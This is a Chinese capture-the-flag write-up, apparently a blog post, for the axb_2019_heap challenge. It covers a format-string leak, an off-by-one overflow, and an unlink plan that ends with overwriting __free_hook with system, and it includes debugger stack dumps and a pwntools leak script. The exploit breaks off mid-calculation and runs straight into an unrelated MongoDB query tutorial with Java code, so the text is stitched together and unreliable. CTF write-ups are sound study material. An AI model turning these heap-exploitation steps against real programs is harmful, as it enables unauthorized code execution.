axb_2019_heap详解

axb_2019_heap漏洞剖析
本文深入分析axb_2019_heap程序的格式化字符串漏洞、off-by-one漏洞及unlink漏洞,详述如何利用这些漏洞获取shell权限的过程。

关于axb_2019_heap的详解

参考:buuctf axb_2019_heap

程序流程

  1. banner:存在格式化字符串漏洞,可以泄漏栈上的信息

  2. add:根据idx创建size(大于0x80)大小的内容为content的块

    块指针和块大小存放在一个全局变量note中

  3. delete:释放的很干净,没有uaf

  4. edit:存在off by one

    get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));

    if ( a2 + 1 <= (unsigned int)v3 )v3是以及输入的长度,a2是给定的长度,存在一个字节的溢出

调试

这个程序没有保留调试信息,不能调试,只能一步步看,,,

GDB调试指南

Reading symbols from axb_2019_heap...(no debugging symbols found)...done.

漏洞利用

  1. 利用格式化字符串泄露栈上信息

    • __libc_start_main+240 => libc基地址

    • (main) ◂— push rbp => 程序基地址

  2. 由于存在全局变量note,故可以利用unlink控制chunk指针

  3. 修改__free_hook为system,get shell

详细过程

1.格式化字符串

计算偏移:直接算或者用工具 => 得到偏移为7

在这里插入图片描述

执行到printf(&format);

 ► 0x555555554b4e <banner+105>    call   printf@plt <printf@plt>
        format: 0x7fffffffde4c ◂— 'aaaaaaaa'
        vararg: 0x7fffffffb7b0 ◂— 'Hello, our name:'
pwndbg> stack 30
00:0000│ rsp    0x7fffffffde40 ◂— 0x0
01:0008│ rdi-4  0x7fffffffde48 ◂— 0x61616161ffffde60
02:0010│        0x7fffffffde50 ◂— 0x550061616161 /* 'aaaa' */	#输入的数据
03:0018│        0x7fffffffde58 ◂— 0xd23db0a55446d00
04:0020│ rbp    0x7fffffffde60 —▸ 0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push   r15
05:0028│        0x7fffffffde68 —▸ 0x555555555186 (main+28) ◂— mov    eax, 0
06:0030│        0x7fffffffde70 —▸ 0x7fffffffdf60 ◂— 0x1
07:0038│        0x7fffffffde78 ◂— 0x0
08:0040│        0x7fffffffde80 —▸ 0x555555555200 (__libc_csu_init) ◂— push   r15
09:0048│        0x7fffffffde88 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov    edi, eax	#可以泄露libc_base
0a:0050│        0x7fffffffde90 ◂— 0x1
0b:0058│        0x7fffffffde98 —▸ 0x7fffffffdf68 —▸ 0x7fffffffe2d3 ◂— '/home/winter/buu/axb_2019_heap'
0c:0060│        0x7fffffffdea0 ◂— 0x1f7ffcca0
0d:0068│        0x7fffffffdea8 —▸ 0x55555555516a (main) ◂— push   rbp	#main起始地址,可以泄露程序基地址

所以__libc_start_main+240的偏移为15,main的偏移为19。

通过计算即可得到libc_base和程序基地址(开启了pie,每次都不一样)

p.recvuntil("Enter your name: ")
payload = "%15$p.%19$p"
p.sendline(payload)
main_240 = int(p.recvuntil(".")[-13:-1],16)
push_rbp = int(p.recvuntil("\n")[-13:],16)
print(hex(main_240))
print(hex(push_rbp))

libc_base = main_240 - libc.sym['__libc_start_main'] 
### 将JSON结构转换为MongoDB查询语句 要将给定的JSON结构转换为MongoDB查询语句,可以按照以下方式构建查询: #### 查询语句 假设集合名称为 `AXB_MTWM_CALL_FINISH_RECORD_INFO`,查询条件如下所示: ```javascript { "result": "0", "baselineTime": { "$gte": ISODate("2025-01-28T00:00:00Z"), "$lt": ISODate("2025-01-29T00:00:00Z") } } ``` 完整的MongoDB查询语句可以通过 `db.collection.find()` 方法实现: ```javascript db.AXB_MTWM_CALL_FINISH_RECORD_INFO.find({ "result": "0", "baselineTime": { "$gte": ISODate("2025-01-28T00:00:00Z"), "$lt": ISODate("2025-01-29T00:00:00Z") } }); ``` 此查询表示筛选出集合 `AXB_MTWM_CALL_FINISH_RECORD_INFO` 中满足以下两个条件的文档: 1. 字段 `result` 的值等于 `"0"`[^1]。 2. 字段 `baselineTime` 的值大于或等于 `ISODate("2025-01-28T00:00:00Z")` 并小于 `ISODate("2025-01-29T00:00:00Z")`[^2]。 如果需要进一步优化性能,可以在 `result` 和 `baselineTime` 上创建复合索引来加速查询操作。例如: ```javascript db.AXB_MTWM_CALL_FINISH_RECORD_INFO.createIndex({ result: 1, baselineTime: 1 }); ``` 这一步骤有助于提高查询效率,尤其是在处理大规模数据集时[^3]。 #### Java 实现示例 以下是基于 Java 驱动程序执行上述查询的一个示例代码片段: ```java import com.mongodb.client.MongoClients; import com.mongodb.client.MongoCollection; import com.mongodb.client.MongoDatabase; import org.bson.Document; public class MongoDBQueryExample { public static void main(String[] args) { try (var mongoClient = MongoClients.create("mongodb://localhost:27017")) { var database = mongoClient.getDatabase("your_database_name"); var collection = database.getCollection("AXB_MTWM_CALL_FINISH_RECORD_INFO"); Document query = new Document("result", "0") .append("baselineTime", new Document("$gte", java.time.Instant.parse("2025-01-28T00:00:00Z")) .append("$lt", java.time.Instant.parse("2025-01-29T00:00:00Z"))); collection.find(query).forEach(doc -> System.out.println(doc.toJson())); } } } ``` 这段代码展示了如何通过 Java API 构建并运行指定的查询逻辑[^4]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值